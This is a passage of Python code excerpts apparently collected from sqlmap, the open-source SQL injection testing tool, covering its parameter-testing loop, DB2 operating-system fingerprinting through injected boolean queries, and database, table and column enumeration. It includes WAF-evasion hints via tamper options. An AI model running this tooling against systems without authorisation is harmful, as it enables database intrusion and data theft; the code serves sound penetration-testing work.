                    message += "\nCookie: %s" % conf.cookie

                if conf.data is not None:
                    message += "\n%s data: %s" % (
                        (conf.method
                         if conf.method != HTTPMETHOD.GET else conf.method)
                        or HTTPMETHOD.POST, urlencode(conf.data or "")
                        if re.search(r"\A\s*[<{]", conf.data or "") is None
                        else conf.data)

                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find(
                            "?") == -1:
                        continue

                    message += "\ndo you want to test this form? [Y/n/q] "
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        continue
                    elif choice == 'Q':
                        break
                    else:
                        if conf.method != HTTPMETHOD.GET:
                            message = "Edit %s data [default: %s]%s: " % (
                                conf.method, urlencode(conf.data or "")
                                if re.search(r"\A\s*[<{]", conf.data
                                             or "None") is None else conf.data,
                                " (Warning: blank fields detected)"
                                if conf.data and extractRegexResult(
                                    EMPTY_FORM_FIELDS_REGEX, conf.data) else
                                "")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(
                                conf.data) if conf.data and urlencode(
                                    DEFAULT_GET_POST_DELIMITER,
                                    None) not in conf.data else conf.data

                        else:
                            if '?' in targetUrl:
                                firstPart, secondPart = targetUrl.split('?', 1)
                                message = "Edit GET data [default: %s]: " % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = "%s?%s" % (firstPart, test)

                        parseTargetUrl()

                else:
                    message += "\ndo you want to test this URL? [Y/n/q]"
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        dataToStdout(os.linesep)
                        continue
                    elif choice == 'Q':
                        break

                    infoMsg = "testing URL '%s'" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms
                                   ) or not checkString() or not checkRegexp():
                continue

            if conf.rParam and kb.originalPage:
                kb.randomPool = dict([
                    _ for _ in kb.randomPool.items() if isinstance(_[1], list)
                ])

                for match in re.finditer(
                        r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>",
                        kb.originalPage):
                    name, _ = match.groups()
                    options = tuple(
                        re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)",
                                   _))
                    if options:
                        kb.randomPool[name] = options

            checkWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or
                (len(kb.injections) == 1 and kb.injections[0].place is None)
                ) and (kb.injection.place is None
                       or kb.injection.parameter is None):

                if not any((conf.string, conf.notString, conf.regexp
                            )) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = list(conf.parameters.keys())

                # Order of testing list (first to last)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
                             PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
                    skip |= (place == PLACE.REFERER and conf.level < 3)

                    # --param-filter
                    skip |= (len(conf.paramFilter) > 0
                             and place.upper() not in conf.paramFilter)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and conf.level < 5)

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and conf.level < 2)

                    skip |= (place == PLACE.USER_AGENT and intersect(
                        USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(
                        REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(
                        PLACE.COOKIE, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.HOST and intersect(
                        PLACE.HOST, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(
                        USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(
                        REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(
                        HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect(
                        (PLACE.COOKIE, ), conf.testParameter, True))

                    if skip:
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    paramType = conf.method if conf.method not in (
                        None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = "skipping previously processed %sparameter '%s'" % (
                                "%s " % paramType
                                if paramType != parameter else "", parameter)
                            logger.info(infoMsg)

                        elif any(_ in conf.testParameter
                                 for _ in (parameter,
                                           removePostHintPrefix(parameter))):
                            pass

                        elif parameter in conf.rParam:
                            testSqlInj = False

                            infoMsg = "skipping randomizing %sparameter '%s'" % (
                                "%s " % paramType
                                if paramType != parameter else "", parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip or kb.postHint and parameter.split(
                                ' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = "skipping %sparameter '%s'" % (
                                "%s " % paramType
                                if paramType != parameter else "", parameter)
                            logger.info(infoMsg)

                        elif conf.paramExclude and (
                                re.search(conf.paramExclude, parameter, re.I)
                                or kb.postHint
                                and re.search(conf.paramExclude,
                                              parameter.split(' ')[-1], re.I)):
                            testSqlInj = False

                            infoMsg = "skipping %sparameter '%s'" % (
                                "%s " % paramType
                                if paramType != parameter else "", parameter)
                            logger.info(infoMsg)

                        elif conf.csrfToken and re.search(
                                conf.csrfToken, parameter, re.I):
                            testSqlInj = False

                            infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and (
                                parameter.upper() in IGNORE_PARAMETERS
                                or any(_ in parameter.lower()
                                       for _ in CSRF_TOKEN_PARAMETER_INFIXES)
                                or parameter.upper().startswith(
                                    GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = "ignoring %sparameter '%s'" % (
                                "%s " % paramType
                                if paramType != parameter else "", parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = "%sparameter '%s' does not appear to be dynamic" % (
                                    "%s " % paramType if paramType != parameter
                                    else "", parameter)
                                logger.warn(warnMsg)

                                if conf.skipStatic:
                                    infoMsg = "skipping static %sparameter '%s'" % (
                                        "%s " % paramType if paramType !=
                                        parameter else "", parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False
                            else:
                                infoMsg = "%sparameter '%s' appears to be dynamic" % (
                                    "%s " % paramType if paramType != parameter
                                    else "", parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            try:
                                if place == PLACE.COOKIE:
                                    pushValue(kb.mergeCookies)
                                    kb.mergeCookies = False

                                check = heuristicCheckSqlInjection(
                                    place, parameter)

                                if check != HEURISTIC_TEST.POSITIVE:
                                    if conf.smart or (
                                            kb.ignoreCasted and check
                                            == HEURISTIC_TEST.CASTED):
                                        infoMsg = "skipping %sparameter '%s'" % (
                                            "%s " % paramType if paramType !=
                                            parameter else "", parameter)
                                        logger.info(infoMsg)
                                        continue

                                infoMsg = "testing for SQL injection on %sparameter '%s'" % (
                                    "%s " % paramType if paramType != parameter
                                    else "", parameter)
                                logger.info(infoMsg)

                                injection = checkSqlInjection(
                                    place, parameter, value)
                                proceed = not kb.endDetection
                                injectable = False

                                if getattr(injection, "place",
                                           None) is not None:
                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
                                        kb.falsePositives.append(injection)
                                    else:
                                        injectable = True

                                        kb.injections.append(injection)

                                        # In case when user wants to end detection phase (Ctrl+C)
                                        if not proceed:
                                            break

                                        msg = "%sparameter '%s' " % (
                                            "%s " %
                                            injection.place if injection.place
                                            != injection.parameter else "",
                                            injection.parameter)
                                        msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "

                                        if not readInput(msg,
                                                         default='N',
                                                         boolean=True):
                                            proceed = False
                                            paramKey = (conf.hostname,
                                                        conf.path, None, None)
                                            kb.testedParams.add(paramKey)

                                if not injectable:
                                    warnMsg = "%sparameter '%s' does not seem to be injectable" % (
                                        "%s " % paramType if paramType !=
                                        parameter else "", parameter)
                                    logger.warn(warnMsg)

                            finally:
                                if place == PLACE.COOKIE:
                                    kb.mergeCookies = popValue()

            if len(kb.injections) == 0 or (len(kb.injections) == 1
                                           and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = "no parameter(s) found for testing in the provided data "
                    errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
                    if kb.originalPage:
                        advice = []
                        if not conf.forms and re.search(
                                r"<form", kb.originalPage) is not None:
                            advice.append("--forms")
                        if not conf.crawlDepth and re.search(
                                r"href=[\"']/?\w",
                                kb.originalPage) is not None:
                            advice.append("--crawl=2")
                        if advice:
                            errMsg += ". You are advised to rerun with '%s'" % ' '.join(
                                advice)
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = "all tested parameters do not appear to be injectable."

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += " Try to increase values for '--level'/'--risk' options "
                        errMsg += "if you wish to perform more tests."

                    if isinstance(conf.technique,
                                  list) and len(conf.technique) < 5:
                        errMsg += " Rerun without providing the option '--technique'."

                    if not conf.textOnly and kb.originalPage:
                        percent = (
                            100.0 *
                            len(getFilteredPageContent(kb.originalPage)) /
                            len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += " You can give it a go with the switch '--text-only' "
                            errMsg += "if the target page has a low percentage "
                            errMsg += "of textual content (~%.2f%% of " % percent
                            errMsg += "page content is text)."
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += " Please retry with the switch '--text-only' "
                            errMsg += "(along with --technique=BU) as this case "
                            errMsg += "looks like a perfect candidate "
                            errMsg += "(low textual content along with inability "
                            errMsg += "of comparison engine to detect at least "
                            errMsg += "one dynamic parameter)."

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += " As heuristic test turned out positive you are "
                        errMsg += "strongly advised to continue on with the tests."

                    if conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
                        errMsg += "exclusively True responses."
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have chosen "
                        errMsg += "does not match exclusively True responses."

                    if not conf.tamper:
                        errMsg += " If you suspect that there is some kind of protection mechanism "
                        errMsg += "involved (e.g. WAF) maybe you could try to use "
                        errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"

                        if not conf.randomAgent:
                            errMsg += " and/or switch '--random-agent'"

                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = "do you want to exploit this SQL injection? [Y/n] "
                    condition = readInput(message, default='Y', boolean=True)
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = "user aborted in multiple target mode"
                logger.warn(warnMsg)

                message = "do you want to skip to the next target in list? [Y/n/q]"
                choice = readInput(message, default='Y').upper()

                if choice == 'N':
                    return False
                elif choice == 'Q':
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapSkipTargetException:
            pass

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException as ex:
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
                _saveToResultsFile()

                errMsg += ", skipping to the next %s" % ("form" if conf.forms
                                                         else "URL")
                logger.error(errMsg.lstrip(", "))
            else:
                logger.critical(errMsg)
                return False

        finally:
            showHttpErrorCodes()

            if kb.maxConnectionsFlag:
                warnMsg = "it appears that the target "
                warnMsg += "has a maximum connections "
                warnMsg += "constraint"
                logger.warn(warnMsg)

    if kb.dataOutputFlag and not conf.multipleTargets:
        logger.info("fetched data logged to text files under '%s'" %
                    conf.outputPath)

    if conf.multipleTargets:
        if conf.resultsFile:
            infoMsg = "you can find results of scanning in multiple targets "
            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
            logger.info(infoMsg)

    return True
Exemplo n.º 32
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs():
            return

        infoMsg = "fingerprinting the back-end DBMS operating system "
        infoMsg += "version and service pack"
        logger.info(infoMsg)

        query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0"
        result = inject.checkBooleanExpression(query)

        if not result:
            Backend.setOs(OS.LINUX)
        else:
            Backend.setOs(OS.WINDOWS)

        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()

        if result:
            versions = {
                "2003": ("5.2", (2, 1)),
                "2008": ("7.0", (1, )),
                "2000": ("5.0", (4, 3, 2, 1)),
                "7": ("6.1", (1, 0)),
                "XP": ("5.1", (2, 1)),
                "NT": ("4.0", (6, 5, 4, 3, 2, 1))
            }

            # Get back-end DBMS underlying operating system version
            for version, data in list(versions.items()):
                query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[
                    0]
                result = inject.checkBooleanExpression(query)

                if result:
                    Backend.setOsVersion(version)
                    infoMsg += " %s" % Backend.getOsVersion()
                    break

            if not Backend.getOsVersion():
                return

            # Get back-end DBMS underlying operating system service pack
            for sp in versions[Backend.getOsVersion()][1]:
                query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str(
                    sp) + "%')>0"
                result = inject.checkBooleanExpression(query)

                if result:
                    Backend.setOsServicePack(sp)
                    break

            if not Backend.getOsServicePack():
                Backend.setOsServicePack(0)
                debugMsg = "assuming the operating system has no service pack"
                logger.debug(debugMsg)

            if Backend.getOsVersion():
                infoMsg += " Service Pack %d" % Backend.getOsServicePack()

            logger.info(infoMsg)
Exemplo n.º 33
0
    def searchDb(self):
        foundDbs = []
        rootQuery = queries[Backend.getIdentifiedDbms()].search_db
        dbList = conf.db.split(',')

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            dbCond = rootQuery.inband.condition2
        else:
            dbCond = rootQuery.inband.condition

        dbConsider, dbCondParam = self.likeOrExact("database")

        for db in dbList:
            values = []
            db = safeSQLIdentificatorNaming(db)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                db = db.upper()

            infoMsg = "searching database"
            if dbConsider == "1":
                infoMsg += "s LIKE"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
            logger.info(infoMsg)

            if conf.excludeSysDbs:
                exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
                infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
                logger.info(infoMsg)
            else:
                exclDbsQuery = ""

            dbQuery = "%s%s" % (dbCond, dbCondParam)
            dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.inband.query2
                else:
                    query = rootQuery.inband.query

                query = query % (dbQuery + exclDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if not isNoneValue(values):
                    values = arrayizeValue(values)

                    for value in values:
                        value = safeSQLIdentificatorNaming(value)
                        foundDbs.append(value)

            if not values and isInferenceAvailable() and not conf.direct:
                infoMsg = "fetching number of database"
                if dbConsider == "1":
                    infoMsg += "s LIKE"
                infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.blind.count2
                else:
                    query = rootQuery.blind.count

                query = query % (dbQuery + exclDbsQuery)
                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    warnMsg = "no database"
                    if dbConsider == "1":
                        warnMsg += "s LIKE"
                    warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

                    continue

                indexRange = getLimitRange(count)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2
                    else:
                        query = rootQuery.blind.query

                    query = query % (dbQuery + exclDbsQuery)
                    query = agent.limitQuery(index, query, dbCond)

                    value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                    value = safeSQLIdentificatorNaming(value)
                    foundDbs.append(value)

        conf.dumper.lister("found databases", foundDbs)
Exemplo n.º 34
0
    def searchColumn(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                regex = '|'.join(conf.col.split(','))
                conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))

                message = "do you want to dump entries? [Y/n] "

                if readInput(message, default='Y', boolean=True):
                    self.dumpAll()

                return

        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        whereDbsQuery = ""
        whereTblsQuery = ""
        infoMsgTbl = ""
        infoMsgDb = ""
        colList = conf.col.split(',')

        if conf.excludeCol:
            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]

        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblCond = rootQuery.inband.condition3
        colConsider, colCondParam = self.likeOrExact("column")

        for column in colList:
            values = []
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
            conf.tbl = origTbl

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                column = column.upper()

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s LIKE"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split(',')
                whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
                infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))

            if conf.db == CURRENT_DB:
                conf.db = self.getCurrentDb()

            if conf.db:
                _ = conf.db.split(',')
                whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
                infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
                msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
                logger.info(msg)
            else:
                infoMsgDb = " across all databases"

            logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                if not all((conf.db, conf.tbl)):
                    # Enumerate tables containing the column provided if
                    # either of database(s) or table(s) is not provided
                    query = rootQuery.inband.query
                    query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                    values = inject.getValue(query, blind=False, time=False)
                else:
                    # Assume provided databases' tables contain the
                    # column(s) provided
                    values = []

                    for db in conf.db.split(','):
                        for tbl in conf.tbl.split(','):
                            values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])

                for db, tbl in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    tbls = tbl.split(',') if not isNoneValue(tbl) else []

                    for tbl in tbls:
                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if db is None or tbl is None:
                            continue

                        conf.db = db
                        conf.tbl = tbl
                        conf.col = column

                        self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)

                        if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                            if db not in dbs:
                                dbs[db] = {}

                            if tbl not in dbs[db]:
                                dbs[db][tbl] = {}

                            dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])

                            if db in foundCols[column]:
                                foundCols[column][db].append(tbl)
                            else:
                                foundCols[column][db] = [tbl]

                        kb.data.cachedColumns = {}

            if not values and isInferenceAvailable() and not conf.direct:
                if not conf.db:
                    infoMsg = "fetching number of databases with tables containing column"
                    if colConsider == "1":
                        infoMsg += "s LIKE"
                    infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
                    logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

                    query = rootQuery.blind.count
                    query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no databases have tables containing column"
                        if colConsider == "1":
                            warnMsg += "s LIKE"
                        warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
                        logger.warn("%s%s" % (warnMsg, infoMsgTbl))

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                        query = agent.limitQuery(index, query)

                        db = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        db = safeSQLIdentificatorNaming(db)

                        if db not in dbs:
                            dbs[db] = {}

                        if db not in foundCols[column]:
                            foundCols[column][db] = []
                else:
                    for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),):
                        db = safeSQLIdentificatorNaming(db)
                        if db not in foundCols[column]:
                            foundCols[column][db] = []

                origDb = conf.db
                origTbl = conf.tbl

                for column, dbData in foundCols.items():
                    colQuery = "%s%s" % (colCond, colCondParam)
                    colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

                    for db in dbData:
                        conf.db = origDb
                        conf.tbl = origTbl

                        infoMsg = "fetching number of tables containing column"
                        if colConsider == "1":
                            infoMsg += "s LIKE"
                        infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db))
                        logger.info(infoMsg)

                        query = rootQuery.blind.count2
                        query = query % unsafeSQLIdentificatorNaming(db)
                        query += " AND %s" % colQuery
                        query += whereTblsQuery

                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "no tables contain column"
                            if colConsider == "1":
                                warnMsg += "s LIKE"
                            warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column)
                            warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query2

                            if query.endswith("'%s')"):
                                query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery)
                            else:
                                query += " AND %s" % (colQuery + whereTblsQuery)

                            query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))
                            query = agent.limitQuery(index, query)

                            tbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            kb.hintValue = tbl

                            tbl = safeSQLIdentificatorNaming(tbl, True)

                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                                if db not in dbs:
                                    dbs[db] = {}

                                if tbl not in dbs[db]:
                                    dbs[db][tbl] = {}

                                dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])

                            kb.data.cachedColumns = {}

                            if db in foundCols[column]:
                                foundCols[column][db].append(tbl)
                            else:
                                foundCols[column][db] = [tbl]

        if dbs:
            conf.dumper.dbColumns(foundCols, colConsider, dbs)
            self.dumpFoundColumn(dbs, foundCols, colConsider)
        else:
            warnMsg = "no databases have tables containing any of the "
            warnMsg += "provided columns"
            logger.warn(warnMsg)
Exemplo n.º 35
0
    def searchTable(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                regex = '|'.join(conf.tbl.split(','))
                return tableExists(paths.COMMON_TABLES, regex)

        foundTbls = {}
        tblList = conf.tbl.split(',')
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblConsider, tblCondParam = self.likeOrExact("table")

        for tbl in tblList:
            values = []
            tbl = safeSQLIdentificatorNaming(tbl, True)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD):
                tbl = tbl.upper()

            infoMsg = "searching table"
            if tblConsider == '1':
                infoMsg += "s LIKE"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)

            if conf.db == CURRENT_DB:
                conf.db = self.getCurrentDb()

            if dbCond and conf.db:
                _ = conf.db.split(',')
                whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
                infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
                msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
                logger.info(msg)
            else:
                whereDbsQuery = ""

            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                query = rootQuery.inband.query

                query = query % (tblQuery + whereDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    newValues = []

                    if isinstance(values, basestring):
                        values = [values]
                    for value in values:
                        dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
                        newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value])

                    values = newValues

                for foundDb, foundTbl in filterPairValues(values):
                    foundDb = safeSQLIdentificatorNaming(foundDb)
                    foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                    if foundDb is None or foundTbl is None:
                        continue

                    if foundDb in foundTbls:
                        foundTbls[foundDb].append(foundTbl)
                    else:
                        foundTbls[foundDb] = [foundTbl]

            if not values and isInferenceAvailable() and not conf.direct:
                if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                    if len(whereDbsQuery) == 0:
                        infoMsg = "fetching number of databases with table"
                        if tblConsider == "1":
                            infoMsg += "s LIKE"
                        infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
                        logger.info(infoMsg)

                        query = rootQuery.blind.count
                        query = query % (tblQuery + whereDbsQuery)
                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "no databases have table"
                            if tblConsider == "1":
                                warnMsg += "s LIKE"
                            warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
